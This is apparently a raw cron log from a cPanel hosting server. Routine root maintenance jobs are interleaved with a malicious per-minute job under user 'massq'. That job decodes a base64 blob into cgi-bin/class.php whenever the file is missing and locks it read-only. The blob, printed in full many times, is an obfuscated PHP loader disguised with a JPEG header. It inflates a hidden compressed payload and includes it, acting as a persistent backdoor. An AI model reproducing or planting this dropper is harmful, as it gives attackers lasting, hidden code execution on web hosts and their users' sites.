Aug 30 07:29:01 server CROND[6829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:29:01 server CROND[6830]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:30:01 server CROND[7224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:30:01 server CROND[7226]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 07:30:01 server CROND[7229]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 07:30:01 server CROND[7228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:30:01 server CROND[7225]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 07:30:01 server CROND[7227]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 07:30:01 server CROND[7230]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 07:30:01 server CROND[7231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:31:01 server CROND[8061]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:31:01 server CROND[8062]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:31:01 server CROND[8060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:32:01 server CROND[8447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:32:01 server CROND[8448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:32:01 server CROND[8449]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:33:01 server CROND[8848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:33:01 server CROND[8849]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:33:01 server CROND[8850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:34:01 server CROND[9346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:34:01 server CROND[9347]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:34:01 server CROND[9348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:35:01 server CROND[9772]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 07:35:01 server CROND[9774]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 07:35:01 server CROND[9776]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 07:35:01 server CROND[9781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:35:01 server CROND[9777]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 07:35:01 server CROND[9780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:35:01 server CROND[9779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:35:01 server CROND[9783]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 07:35:01 server CROND[9778]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 07:36:01 server CROND[10636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:36:01 server CROND[10637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:36:01 server CROND[10638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:37:01 server CROND[11030]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:37:01 server CROND[11031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:37:01 server CROND[11032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:38:01 server CROND[11409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:38:01 server CROND[11410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:38:01 server CROND[11411]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:39:01 server CROND[11870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:39:01 server CROND[11871]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 07:39:01 server CROND[11872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:39:01 server CROND[11873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:40:01 server CROND[12309]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 07:40:01 server CROND[12310]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 07:40:01 server CROND[12313]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 07:40:01 server CROND[12311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:40:01 server CROND[12314]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:40:01 server CROND[12316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
